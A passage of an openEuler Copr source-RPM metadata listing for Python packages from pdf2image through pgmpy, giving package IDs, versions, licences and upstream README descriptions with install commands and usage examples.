  Installing using [Brew](https://brew.sh/):

  ```
  brew install poppler
  ```



  Most distros ship with `pdftoppm` and `pdftocairo`. If they are not installed, refer to your package manager to install `poppler-utils`



  1. Install poppler: `conda install -c conda-forge poppler`
  2. Install pdf2image: `pip install pdf2image`



  `from pdf2image import convert_from_path, convert_from_bytes`

  ```py
  from pdf2image.exceptions import (
      PDFInfoNotInstalledError,
      PDFPageCountError,
      PDFSyntaxError
  )
  ```

  Then simply do:

  ```py
  images = convert_from_path('/home/belval/example.pdf')
  ```

  OR

  ```py
  images = convert_from_bytes(open('/home/belval/example.pdf', 'rb').read())
  ```

  OR better yet

  ```py
  import tempfile

  with tempfile.TemporaryDirectory() as path:
      images_from_path = convert_from_path('/home/belval/example.pdf', output_folder=path)
      
  ```

  `images` will be a list of PIL Image representing each page of the PDF document.

  Here are the definitions:

  `convert_from_path(pdf_path, dpi=200, output_folder=None, first_page=None, last_page=None, fmt='ppm', jpegopt=None, thread_count=1, userpw=None, use_cropbox=False, strict=False, transparent=False, single_file=False, output_file=str(uuid.uuid4()), poppler_path=None, grayscale=False, size=None, paths_only=False, use_pdftocairo=False, timeout=600, hide_attributes=False)`

  `convert_from_bytes(pdf_file, dpi=200, output_folder=None, first_page=None, last_page=None, fmt='ppm', jpegopt=None, thread_count=1, userpw=None, use_cropbox=False, strict=False, transparent=False, single_file=False, output_file=str(uuid.uuid4()), poppler_path=None, grayscale=False, size=None, paths_only=False, use_pdftocairo=False, timeout=600, hide_attributes=False)`



  - Allow users to hide attributes when using pdftoppm with `hide_attributes` (Thank you @StaticRocket)
  - Fix console opening on Windows (Thank you @OhMyAgnes!)
  - Add `timeout` parameter which raises `PDFPopplerTimeoutError` after the given number of seconds.
  - Add `use_pdftocairo` parameter which forces `pdf2image` to use `pdftocairo`. Should improve performance.
  - Fixed a bug where using `pdf2image` with multiple threads (but not multiple processes) would cause and exception
  - `jpegopt` parameter allows for tuning of the output JPEG when using `fmt="jpeg"` (`-jpegopt` in pdftoppm CLI) (Thank you @abieler)
  - `pdfinfo_from_path` and `pdfinfo_from_bytes` which expose the output of the pdfinfo CLI
  - `paths_only` parameter will return image paths instead of Image objects, to prevent OOM when converting a big PDF
  - `size` parameter allows you to define the shape of the resulting images (`-scale-to` in pdftoppm CLI)
      - `size=400` will fit the image to a 400x400 box, preserving aspect ratio
      - `size=(400, None)` will make the image 400 pixels wide, preserving aspect ratio
      - `size=(500, 500)` will resize the image to 500x500 pixels, not preserving aspect ratio
  - `grayscale` parameter allows you to convert images to grayscale (`-gray` in pdftoppm CLI)
  - `single_file` parameter allows you to convert the first PDF page only, without adding digits at the end of the `output_file`
  - Allow the user to specify poppler's installation path with `poppler_path`



  - Using an output folder is significantly faster if you are using an SSD. Otherwise i/o usually becomes the bottleneck.
  - Using multiple threads can give you some gains but avoid more than 4 as this will cause i/o bottleneck (even on my NVMe SSD!).
  - If i/o is your bottleneck, using the JPEG format can lead to significant gains.
  - PNG format is pretty slow, this is because of the compression.
  - If you want to know the best settings (most settings will be fine anyway) you can clone the project and run `python tests.py` to get timings.



  - A relatively big PDF will use up all your memory and cause the process to be killed (unless you use an output folder)
  - Sometimes fail read pdf signed using DocuSign, [Solution for DocuSign issue.](docs/installation.md)


pkgId: bdf9d7fe3c9fe4a8e148c75f6a9891e71e11a3724beb990c5395dc385f9c921e
name: python-pdfkit
arch: src
version: 1.0.0
epoch: 0
release: 1
summary: Wkhtmltopdf python wrapper to convert html to pdf using the webkit rendering engine and qt
url: https://pypi.org/project/pdfkit/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ab027d61-27a9-46da-924e-51a5f800da76
location_href: 00004513-python-pdfkit/python-pdfkit-1.0.0-1.src.rpm
checksum_type: sha256
description:
  Python 2 and 3 wrapper for wkhtmltopdf utility to convert HTML to PDF using Webkit.
  This is adapted version of `ruby PDFKit <https://github.com/pdfkit/pdfkit>`_ library, so big thanks to them!


pkgId: fd89e288091d0e5e90ec4533b737a29d49f3bb983d94fd47abf6746aa2793d4a
name: python-pdfminer
arch: src
version: 20191125
epoch: 0
release: 1
summary: PDF parser and analyzer
url: http://github.com/euske/pdfminer
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-cd8b834d-34b3-49e9-bc98-325353ed654e
location_href: 00004514-python-pdfminer/python-pdfminer-20191125-1.src.rpm
checksum_type: sha256
description:
  PDFMiner is a text extraction tool for PDF documents.

  [![Build Status](https://travis-ci.org/euske/pdfminer.svg?branch=master)](https://travis-ci.org/euske/pdfminer)
  [![PyPI](https://img.shields.io/pypi/v/pdfminer)](https://pypi.org/project/pdfminer/)

  **Warning**: Starting from version 20191010, PDFMiner supports **Python 3 only**.
  For Python 2 support, check out
  <a href="https://github.com/pdfminer/pdfminer.six">pdfminer.six</a>.



    * Pure Python (3.6 or above).
    * Supports PDF-1.7. (well, almost)
    * Obtains the exact location of text as well as other layout information (fonts, etc.).
    * Performs automatic layout analysis.
    * Can convert PDF into other formats (HTML/XML).
    * Can extract an outline (TOC).
    * Can extract tagged contents.
    * Supports basic encryption (RC4 and AES).
    * Supports various font types (Type1, TrueType, Type3, and CID).
    * Supports CJK languages and vertical writing scripts.
    * Has an extensible PDF parser that can be used for other purposes.




    1. `> pip install pdfminer`
    1. `> pdf2txt.py samples/simple1.pdf`






  pdf2txt.py extracts all the texts that are rendered programmatically.
  It also extracts the corresponding locations, font names, font sizes,
  writing direction (horizontal or vertical) for each text segment.  It
  does not recognize text in images. A password needs to be provided for
  restricted PDF documents.

      > pdf2txt.py [-P password] [-o output] [-t text|html|xml|tag]
                   [-O output_dir] [-c encoding] [-s scale] [-R rotation]
                   [-Y normal|loose|exact] [-p pagenos] [-m maxpages]
                   [-S] [-C] [-n] [-A] [-V]
                   [-M char_margin] [-L line_margin] [-W word_margin]
                   [-F boxes_flow] [-d]
                   input.pdf ...

    * `-P password` : PDF password.
    * `-o output` : Output file name.
    * `-t text|html|xml|tag` : Output type. (default: automatically inferred from the output file name.)
    * `-O output_dir` : Output directory for extracted images.
    * `-c encoding` : Output encoding. (default: utf-8)
    * `-s scale` : Output scale.
    * `-R rotation` : Rotates the page in degree.
    * `-Y normal|loose|exact` : Specifies the layout mode. (only for HTML output.)
    * `-p pagenos` : Processes certain pages only.
    * `-m maxpages` : Limits the number of maximum pages to process.
    * `-S` : Strips control characters.
    * `-C` : Disables resource caching.
    * `-n` : Disables layout analysis.
    * `-A` : Applies layout analysis for all texts including figures.
    * `-V` : Automatically detects vertical writing.
    * `-M char_margin` : Speficies the char margin.
    * `-W word_margin` : Speficies the word margin.
    * `-L line_margin` : Speficies the line margin.
    * `-F boxes_flow` : Speficies the box flow ratio.
    * `-d` : Turns on Debug output.



  dumppdf.py is used for debugging PDFs.
  It dumps all the internal contents in pseudo-XML format.

      > dumppdf.py [-P password] [-a] [-p pageid] [-i objid]
                   [-o output] [-r|-b|-t] [-T] [-O directory] [-d]
                   input.pdf ...

    * `-P password` : PDF password.
    * `-a` : Extracts all objects.
    * `-p pageid` : Extracts a Page object.
    * `-i objid` : Extracts a certain object.
    * `-o output` : Output file name.
    * `-r` : Raw mode. Dumps the raw compressed/encoded streams.
    * `-b` : Binary mode. Dumps the uncompressed/decoded streams.
    * `-t` : Text mode. Dumps the streams in text format.
    * `-T` : Tagged mode. Dumps the tagged contents.
    * `-O output_dir` : Output directory for extracted streams.



    * Replace STRICT variable with something better.
    * Improve the debugging functions.
    * Use logging module instead of sys.stderr.
    * Proper test cases.
    * PEP-8 and PEP-257 conformance.
    * Better documentation.
    * Crypto stream filter support.




    * <a href="http://pybrary.net/pyPdf/">pyPdf</a>
    * <a href="http://www.foolabs.com/xpdf/">xpdf</a>
    * <a href="http://pdfbox.apache.org/">pdfbox</a>
    * <a href="http://mupdf.com/">mupdf</a>


pkgId: d3e77001472d0d87d97a7151738b7ad691fbec8f13e796844c86353f22b5b88d
name: python-pdfminer.six
arch: src
version: 20221105
epoch: 0
release: 1
summary: PDF parser and analyzer
url: https://github.com/pdfminer/pdfminer.six
rpm_license: MIT/X
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-6e8cc1a6-2607-426d-b8f1-9674e9e39e8d
location_href: 00009865-python-pdfminer-six/python-pdfminer.six-20221105-1.src.rpm
checksum_type: sha256
description:
  [![Continuous integration](https://github.com/pdfminer/pdfminer.six/actions/workflows/actions.yml/badge.svg)](https://github.com/pdfminer/pdfminer.six/actions/workflows/actions.yml)
  [![PyPI version](https://img.shields.io/pypi/v/pdfminer.six.svg)](https://pypi.python.org/pypi/pdfminer.six/)
  [![gitter](https://badges.gitter.im/pdfminer-six/Lobby.svg)](https://gitter.im/pdfminer-six/Lobby?utm_source=badge&utm_medium)
  *We fathom PDF*
  Pdfminer.six is a community maintained fork of the original PDFMiner. It is a tool for extracting information from PDF
  documents. It focuses on getting and analyzing text data. Pdfminer.six extracts the text from a page directly from the
  sourcecode of the PDF. It can also be used to get the exact location, font or color of the text.
  It is built in a modular way such that each component of pdfminer.six can be replaced easily. You can implement your own
  interpreter or rendering device that uses the power of pdfminer.six for other purposes than text analysis.
  Check out the full documentation on
  [Read the Docs](https://pdfminersix.readthedocs.io).


pkgId: 524f4546b35aa2cf701807fb5df312fa33e39927ab1020b46584698ea86516ca
name: python-pdoc3
arch: src
version: 0.10.0
epoch: 0
release: 1
summary: Auto-generate API documentation for Python projects.
url: https://pdoc3.github.io/pdoc/
rpm_license: AGPL-3.0
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-b921385a-c404-4c99-9e6f-5c3e8df7fb92
location_href: 00010702-python-pdoc3/python-pdoc3-0.10.0-1.src.rpm
checksum_type: sha256
description:
  [![Build Status](https://img.shields.io/github/workflow/status/pdoc3/pdoc/CI?style=for-the-badge)](https://github.com/pdoc3/pdoc/actions)
  [![Code Coverage](https://img.shields.io/codecov/c/gh/pdoc3/pdoc.svg?style=for-the-badge)](https://codecov.io/gh/pdoc3/pdoc)
  [![pdoc3 on PyPI](https://img.shields.io/pypi/v/pdoc3.svg?color=blue&style=for-the-badge)](https://pypi.org/project/pdoc3)
  [![package downloads](https://img.shields.io/pypi/dm/pdoc3.svg?color=skyblue&style=for-the-badge)](https://pypi.org/project/pdoc3)
  [![GitHub Sponsors](https://img.shields.io/github/sponsors/kernc?color=pink&style=for-the-badge)](https://github.com/sponsors/kernc)
  Auto-generate API documentation for Python projects.
  [**Project website**](https://pdoc3.github.io/pdoc/)
  [Documentation]
  [Documentation]: https://pdoc3.github.io/pdoc/doc/pdoc/


pkgId: 78ea7a8eb0394acc471f5129ffe3a29f0b22435b512f25a882cf7853d5369863
name: python-pecan-notario
arch: src
version: 0.0.3
epoch: 0
release: 1
summary: please add a summary manually as the author left a blank one
url: https://github.com/alfredodeza/pecan-notario
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-8644814f-292b-460d-84b5-3493fc993026
location_href: 00004518-python-pecan-notario/python-pecan-notario-0.0.3-1.src.rpm
checksum_type: sha256
description:
  JSON validation for Pecan with Notario (http://notario.cafepais.com).
  In its simplest form, you need to define a schema and decorate the
  controller method, like::
      schema = ('foo', True)
      @expose()
      @validate(schema)
      def some_controller(self, **kw):
          return dict()
  The above controller method, using a Notario schema, will require a ``foo``
  key and a ``True`` value otherwise it will (by default) set the HTTP response
  to a ``400`` (invalid request) and add the validation error to ``request.pecan['schema'].errors``.


pkgId: f28e860b9e21b11f1201cd74aad722b9f6e6b6113561bbb73fb4de15b7b081a6
name: python-peewee
arch: src
version: 3.16.0
epoch: 0
release: 1
summary: a little orm
url: https://github.com/coleifer/peewee/
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-0ea4a780-416f-41e3-b178-d0f3b3a6b35d
location_href: 00004519-python-peewee/python-peewee-3.16.0-1.src.rpm
checksum_type: sha256
description:
  Peewee is a simple and small ORM. It has few (but expressive) concepts, making it easy to learn and intuitive to use.
  * a small, expressive ORM
  * python 2.7+ and 3.4+
  * supports sqlite, mysql, postgresql and cockroachdb
  * tons of `extensions <http://docs.peewee-orm.com/en/latest/peewee/playhouse.html>`_
  New to peewee? These may help:
  * `Quickstart <http://docs.peewee-orm.com/en/latest/peewee/quickstart.html#quickstart>`_
  * `Example twitter app <http://docs.peewee-orm.com/en/latest/peewee/example.html>`_
  * `Using peewee interactively <http://docs.peewee-orm.com/en/latest/peewee/interactive.html>`_
  * `Models and fields <http://docs.peewee-orm.com/en/latest/peewee/models.html>`_
  * `Querying <http://docs.peewee-orm.com/en/latest/peewee/querying.html>`_
  * `Relationships and joins <http://docs.peewee-orm.com/en/latest/peewee/relationships.html>`_


pkgId: ae6d27443f251c61fef992ae03cd459dedd9c893a71ff0bfe467cf3a839739ce
name: python-pefile
arch: src
version: 2023.2.7
epoch: 0
release: 1
summary: Python PE parsing module
url: https://github.com/erocarrera/pefile
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-599aaa5e-68d1-4c70-a7d0-1adb51a67e84
location_href: 00004520-python-pefile/python-pefile-2023.2.7-1.src.rpm
checksum_type: sha256
description:
  pefile, Portable Executable reader module

  All the PE file basic structures are available with their default names as
  attributes of the instance returned.

  Processed elements such as the import table are made available with lowercase
  names, to differentiate them from the upper case basic structure names.

  pefile has been tested against many edge cases such as corrupted and malformed
  PEs as well as malware, which often attempts to abuse the format way beyond its
  standard use. To the best of my knowledge most of the abuse is handled
  gracefully.

  Copyright (c) 2005-2023 Ero Carrera <ero.carrera@gmail.com>


pkgId: de1f79470b6b6f92191a60f514f83120b44da40e48a7c53bfd20ec21f06e657e
name: python-pelican
arch: src
version: 4.8.0
epoch: 0
release: 1
summary: Static site generator supporting Markdown and reStructuredText
url: https://getpelican.com
rpm_license: AGPLv3
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-1c9aca88-7242-4422-8085-8f1fc920bbaa
location_href: 00004521-python-pelican/python-pelican-4.8.0-1.src.rpm
checksum_type: sha256
description:
  Pelican is a static site generator, written in Python_.
  * Compose content in Markdown_ or reStructuredText_ using your editor of choice
  * Simple command-line tool (re)generates HTML, CSS, and JS from your source content
  * Easy to interface with version control systems and web hooks
  * Completely static output is simple to host anywhere


pkgId: bba80898965d97ba04f580c8377382cfae048a2bd1e0075dc4a941ec3fd13398
name: python-pem
arch: src
version: 21.2.0
epoch: 0
release: 1
summary: Easy PEM file parsing in Python.
url: https://pem.readthedocs.io/
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-277b6860-f8b6-40d3-9854-47ae68a671f2
location_href: 00010844-python-pem/python-pem-21.2.0-1.src.rpm
checksum_type: sha256
description:
  *pem* is an MIT_-licensed Python module for parsing and splitting of `PEM files`_, i.e. Base64-encoded DER keys and certificates.
  It runs on Python 2.7, and 3.5+, has no dependencies, and does not attempt to interpret the certificate data in any way.
  It’s born from the need to load keys, certificates, trust chains, and DH parameters from various certificate deployments: some servers (like Apache_) expect them to be a separate file, others (like nginx_) expect them concatenated to the server certificate and finally some (like HAProxy_) expect key, certificate, and chain to be in one file.
  With *pem*, your Python application can cope with all of those scenarios:
     >>> import pem
     >>> certs = pem.parse_file("chain.pem")
     >>> certs
     [<Certificate(PEM string with SHA-1 digest '...')>, <Certificate(PEM string with SHA-1 digest '...')>]
     >>> str(certs[0])
     '-----BEGIN CERTIFICATE-----\n...'
  Additionally to the vanilla parsing code, *pem* also contains helpers for Twisted_ that save a lot of boilerplate code.
  *pem* is available from `PyPI <https://pypi.org/project/pem/>`_, its documentation lives at `Read the Docs <https://pem.readthedocs.io/>`_, the code on `GitHub <https://github.com/hynek/pem>`_.


pkgId: a461cabd7bc6577beee30e66f76a51bfb331ce5171d81ff42a7460036e7783fc
name: python-pendulum
arch: src
version: 2.1.2
epoch: 0
release: 1
summary: Python datetimes made easy
url: https://pendulum.eustace.io
rpm_license: MIT
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-4e9b62bd-6c6d-4b8e-bc6d-cd218bdac6c4
location_href: 00004522-python-pendulum/python-pendulum-2.1.2-1.src.rpm
checksum_type: sha256
description:
  Native ``datetime`` instances are enough for basic cases but when you face more complex use-cases
  they often show limitations and are not so intuitive to work with.
  ``Pendulum`` provides a cleaner and more easy to use API while still relying on the standard library.
  So it's still ``datetime`` but better.
  Unlike other datetime libraries for Python, Pendulum is a drop-in replacement
  for the standard ``datetime`` class (it inherits from it), so, basically, you can replace all your ``datetime``
  instances by ``DateTime`` instances in you code (exceptions exist for libraries that check
  the type of the objects by using the ``type`` function like ``sqlite3`` or ``PyMySQL`` for instance).
  It also removes the notion of naive datetimes: each ``Pendulum`` instance is timezone-aware
  and by default in ``UTC`` for ease of use.
  Pendulum also improves the standard ``timedelta`` class by providing more intuitive methods and properties.


pkgId: 1dc1831ecd247ee3077a87f3df58bd1527f47765ce025bfbddc32855338b2335
name: python-pep562
arch: src
version: 1.1
epoch: 0
release: 1
summary: Backport of PEP 562.
url: https://github.com/facelessuser/pep562
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-7372572f-bfd0-4ff9-8484-47f83aea27f6
location_href: 00010148-python-pep562/python-pep562-1.1-1.src.rpm
checksum_type: sha256
description:
  [![Donate via PayPal][donate-image]][donate-link]
  [![Discord][discord-image]][discord-link]
  [![Build][github-ci-image]][github-ci-link]
  [![Coverage Status][codecov-image]][codecov-link]
  [![PyPI Version][pypi-image]][pypi-link]
  [![PyPI - Python Version][python-image]][pypi-link]
  ![License][license-image-mit]





  A backport of PEP 562. Allows controlling a module's `__dir__` and `__getattr__`. Useful for deprecating attributes.
  Works for Python 2.7+. And while it works on Python 3.7, it is recommended to use the official Python 3.7 implementation
  where applicable.

  This module can be installed and used as a dependency, or if desired, it is easy to vendor as the license is quite
  permissible, and the code is contained in a single file.

  Once Python 3.6 is end of life, this module will be irrelevant and will no longer receive active support.



  Installation is done with `pip`:

  ```
  pip install pep562
  ```



  Simply copy the file `pep562/__init__.py` to your project and rename to `pep562`.  Import and use as needed.



  Here is a simple example where we deprecate the attribute `version` for the more standardized `__version__`.

  ```py
  from pep562 import pep562
  import warnings

  __version__ = (1, 0, 0)
  __all__ = ("__version__",)
  __deprecated__ = {
      "version": ("__version__", __version__)
  }

  PY37 = sys.version_info >= (3, 7)


  def __getattr__(name):
      """Get attribute."""

      deprecated = __deprecated__.get(name)
      if deprecated:
          stacklevel = 3 if PY37 else 4
          warnings.warn(
              "'{}' is deprecated. Use '{}' instead.".format(name, deprecated[0]),
              category=DeprecationWarning,
              stacklevel=stacklevel
          )
          return deprecated[1]
      raise AttributeError("module '{}' has no attribute '{}'".format(__name__, name))


  def __dir__():
      """Module directory."""

      return sorted(list(__all__) + list(__deprecated__.keys()))


  pep562(__name__)
  ```



  MIT License

  Copyright (c) 2018 - 2021 Isaac Muse <isaacmuse@gmail.com>

  Permission is hereby granted, free of charge, to any person obtaining a copy
  of this software and associated documentation files (the "Software"), to deal
  in the Software without restriction, including without limitation the rights
  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
  copies of the Software, and to permit persons to whom the Software is
  furnished to do so, subject to the following conditions:

  The above copyright notice and this permission notice shall be included in all
  copies or substantial portions of the Software.

  THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
  SOFTWARE.

  [github-ci-image]: https://github.com/facelessuser/pep562/workflows/build/badge.svg?branch=master&event=push
  [github-ci-link]: https://github.com/facelessuser/pep562/actions?query=workflow%3Abuild+branch%3Amaster
  [discord-image]: https://img.shields.io/discord/678289859768745989?logo=discord&logoColor=aaaaaa&color=mediumpurple&labelColor=333333
  [discord-link]:https://discord.gg/TWs8Tgr
  [codecov-image]: https://img.shields.io/codecov/c/github/facelessuser/pep562/master.svg?logo=codecov&logoColor=aaaaaa&labelColor=333333
  [codecov-link]: https://codecov.io/github/facelessuser/pep562
  [pypi-image]: https://img.shields.io/pypi/v/pep562.svg?logo=pypi&logoColor=aaaaaa&labelColor=333333
  [pypi-link]: https://pypi.python.org/pypi/pep562
  [python-image]: https://img.shields.io/pypi/pyversions/pep562?logo=python&logoColor=aaaaaa&labelColor=333333
  [license-image-mit]: https://img.shields.io/badge/license-MIT-blue.svg?labelColor=333333
  [donate-image]: https://img.shields.io/badge/Donate-PayPal-3fabd1?logo=paypal
  [donate-link]: https://www.paypal.me/facelessuser


pkgId: 2cffb01fcca3717f98caaada13c504b5f95cc2ad59ff93afc489c3d4394058d9
name: python-pep8-naming
arch: src
version: 0.13.3
epoch: 0
release: 1
summary: Check PEP-8 naming conventions, plugin for flake8
url: https://github.com/PyCQA/pep8-naming
rpm_license: Expat license
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-ab32c68a-cb7c-43bb-975f-4e1ef18d5e88
location_href: 00004524-python-pep8-naming/python-pep8-naming-0.13.3-1.src.rpm
checksum_type: sha256
description:
  Check your code against `PEP 8 <https://www.python.org/dev/peps/pep-0008/>`_
  naming conventions.
  This module provides a plugin for ``flake8``, the Python code checker.
  (It replaces the plugin ``flint-naming`` for the ``flint`` checker.)


pkgId: befff8ecf7a9e0fa85e043a83b883254e31cbbc3046624276081d2918204e52d
name: python-peppercorn
arch: src
version: 0.6
epoch: 0
release: 1
summary: A library for converting a token stream into a data structure for use in web form posts
url: https://docs.pylonsproject.org/projects/peppercorn/en/latest/
rpm_license: BSD-derived (http://www.repoze.org/LICENSE.txt)
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-53470d7f-ac8a-4b7f-99ba-77f364c9e97f
location_href: 00010712-python-peppercorn/python-peppercorn-0.6-1.src.rpm
checksum_type: sha256
description:
  A library for converting a token stream into a data structure comprised of
  sequences, mappings, and scalars, developed primarily for converting HTTP form
  post data into a richer data structure.  It runs on Python 2.7, 3.4, 3.5, 3.6
  and 3.7.
  Please see https://docs.pylonsproject.org/projects/peppercorn/en/latest/
  for the documentation.
  See https://github.com/Pylons/peppercorn for in-development version.


pkgId: d45f9286e002f5595568bca74722dd65ac4c1d66f51ae925f88a9127fae18467
name: python-persist-queue
arch: src
version: 0.8.0
epoch: 0
release: 1
summary: A thread-safe disk based persistent queue in Python.
url: http://github.com/peter-wangxu/persist-queue
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-3eb7614c-2b77-41a6-a30d-a7d7dc6830a5
location_href: 00004526-python-persist-queue/python-persist-queue-0.8.0-1.src.rpm
checksum_type: sha256
description:
  ``persist-queue`` implements a file-based queue and a serial of sqlite3-based queues. The goals is to achieve following requirements:
  * Disk-based: each queued item should be stored in disk in case of any crash.
  * Thread-safe: can be used by multi-threaded producers and multi-threaded consumers.
  * Recoverable: Items can be read after process restart.
  * Green-compatible: can be used in ``greenlet`` or ``eventlet`` environment.
  While *queuelib* and *python-pqueue* cannot fulfil all of above. After some try, I found it's hard to achieve based on their current
  implementation without huge code change. this is the motivation to start this project.
  By default, *persist-queue* use *pickle* object serialization module to support object instances.
  Most built-in type, like `int`, `dict`, `list` are able to be persisted by `persist-queue` directly, to support customized objects,
  please refer to `Pickling and unpickling extension types(Python2) <https://docs.python.org/2/library/pickle.html#pickling-and-unpickling-normal-class-instances>`_
  and `Pickling Class Instances(Python3) <https://docs.python.org/3/library/pickle.html#pickling-class-instances>`_
  This project is based on the achievements of `python-pqueue <https://github.com/balena/python-pqueue>`_
  and `queuelib <https://github.com/scrapy/queuelib>`_
  Slack channels
  ^^^^^^^^^^^^^^
  Join `persist-queue <https://join.slack
  .com/t/persist-queue/shared_invite
  /enQtOTM0MDgzNTQ0MDg3LTNmN2IzYjQ1MDc0MDYzMjI4OGJmNmVkNWE3ZDBjYzg5MDc0OWUzZDJkYTkwODdkZmYwODdjNjUzMTk3MWExNDE>`_ channel


pkgId: c3a26b8019cf26c3826e887b3d48aca0278257f0d1806301c1dbbecb64bb3d29
name: python-persisting-theory
arch: src
version: 1.0
epoch: 0
release: 1
summary: Registries that can autodiscover values accross your project apps
url: https://code.agate.blue/agate/persisting-theory
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-e1213f8b-bc15-4636-9d7a-d04a36413348
location_href: 00013711-python-persisting-theory/python-persisting-theory-1.0-1.src.rpm
checksum_type: sha256
description:
  Persisting-theory is a small python utility designed to automate data discovering and access inside a list of packages. Use case: you are building an application that will have pluggable components. You want to allow these components to register data so it can be accessed by any other component of your app.
  If you ever used Django framework, you may remember this:
      from django.contrib import admin
      admin.autodiscover()
  Basically, persisting-theory will do the same, except that it let you declare what you want to autodiscover.
  Okay, I'm bad at explaining things, and english is not my mother tongue. Let's build a simple example.


pkgId: d525d40ef74db7aee0dd48307c74adbc0a9501f3d4afd612d4f560e3b26324cd
name: python-petl
arch: src
version: 1.7.12
epoch: 0
release: 1
summary: A Python package for extracting, transforming and loading tables of data.
url: https://github.com/petl-developers/petl
rpm_license: MIT License
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-298394b7-1ae9-4c53-8c41-ed5469bfe2d7
location_href: 00013700-python-petl/python-petl-1.7.12-1.src.rpm
checksum_type: sha256
description:
  ``petl`` is a general purpose Python package for extracting, transforming and
  loading tables of data.


pkgId: 5ef42cb5ab0b55bf374f77b79ed82d615b7033db5137c7f6beb2e9390dbcfd09
name: python-pexpect
arch: src
version: 4.8.0
epoch: 0
release: 1
summary: Pexpect allows easy control of interactive console applications.
url: https://pexpect.readthedocs.io/
rpm_license: ISC license
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-a96cc28e-c9e8-45af-819d-68aa923259d4
location_href: 00008975-python-pexpect/python-pexpect-4.8.0-1.src.rpm
checksum_type: sha256
description:
  Pexpect is a pure Python module for spawning child applications; controlling
  them; and responding to expected patterns in their output. Pexpect works like
  Don Libes' Expect. Pexpect allows your script to spawn a child application and
  control it as if a human were typing commands.

  Pexpect can be used for automating interactive applications such as ssh, ftp,
  passwd, telnet, etc. It can be used to a automate setup scripts for duplicating
  software package installations on different servers. It can be used for
  automated software testing. Pexpect is in the spirit of Don Libes' Expect, but
  Pexpect is pure Python.

  The main features of Pexpect require the pty module in the Python standard
  library, which is only available on Unix-like systems. Some features—waiting
  for patterns from file descriptors or subprocesses—are also available on
  Windows.


pkgId: f7ca7bfdae8fba17f2d0c301f6f44a5d7ff76fab2d6c3fc6a1d35168ddca9adc
name: python-pgcli
arch: src
version: 3.5.0
epoch: 0
release: 1
summary: CLI for Postgres Database. With auto-completion and syntax highlighting.
url: http://pgcli.com
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-f093d570-1fd9-4596-9c06-5288acf809f8
location_href: 00013372-python-pgcli/python-pgcli-3.5.0-1.src.rpm
checksum_type: sha256
description:
  Ukrainian people are fighting for their country. A lot of civilians, women and children, are suffering. Hundreds were killed and injured, and thousands were displaced.
  This is an image from my home town, Kharkiv. This place is right in the old city center.
  Picture by @fomenko_ph (Telegram).
  Please consider donating or volunteering.
  * https://bank.gov.ua/en/
  * https://savelife.in.ua/en/donate/
  * https://www.comebackalive.in.ua/donate
  * https://www.globalgiving.org/projects/ukraine-crisis-relief-fund/
  * https://www.savethechildren.org/us/where-we-work/ukraine
  * https://www.facebook.com/donate/1137971146948461/
  * https://donate.wck.org/give/393234#!/donation/checkout
  * https://atlantaforukraine.com/


pkgId: 8323e984e3a77969e6eaf35ff235fd7ca8791b5f019775ddce91ff9a51f96eae
name: python-pgeocode
arch: src
version: 0.4.0
epoch: 0
release: 1
summary: Approximate geocoding
url: https://pypi.org/project/pgeocode/
rpm_license: BSD
rpm_vendor: openEuler Copr - user mywaaagh_admin
rpm_group: Unspecified
rpm_buildhost: resalloc-23cf8eba-de61-40b3-8e1b-63b08097fa08
location_href: 00010948-python-pgeocode/python-pgeocode-0.4.0-1.src.rpm
checksum_type: sha256
description:
  |pypi| |condaforge| |rdfd| |GHactions|
  Postal code geocoding and distance calculations
  pgeocode is a Python library for high performance off-line querying of GPS coordinates, region name and municipality name
  from postal codes. Distances between postal codes as well as general
  distance queries are also supported.
  The used `GeoNames <http://download.geonames.org/export/zip/>`_ database includes postal codes for 83 countries.
  Currently, only queries within the same country are supported.
  For additional documentation see `pgeocode.readthedocs.io <https://pgeocode.readthedocs.io>`_.


pkgId: 7439bada992289d40a69118b16b130eda14dbfe252de7cb695e05ce1df96093c
name: python-pgmpy
arch: src
version: 0.1.22
epoch: 0
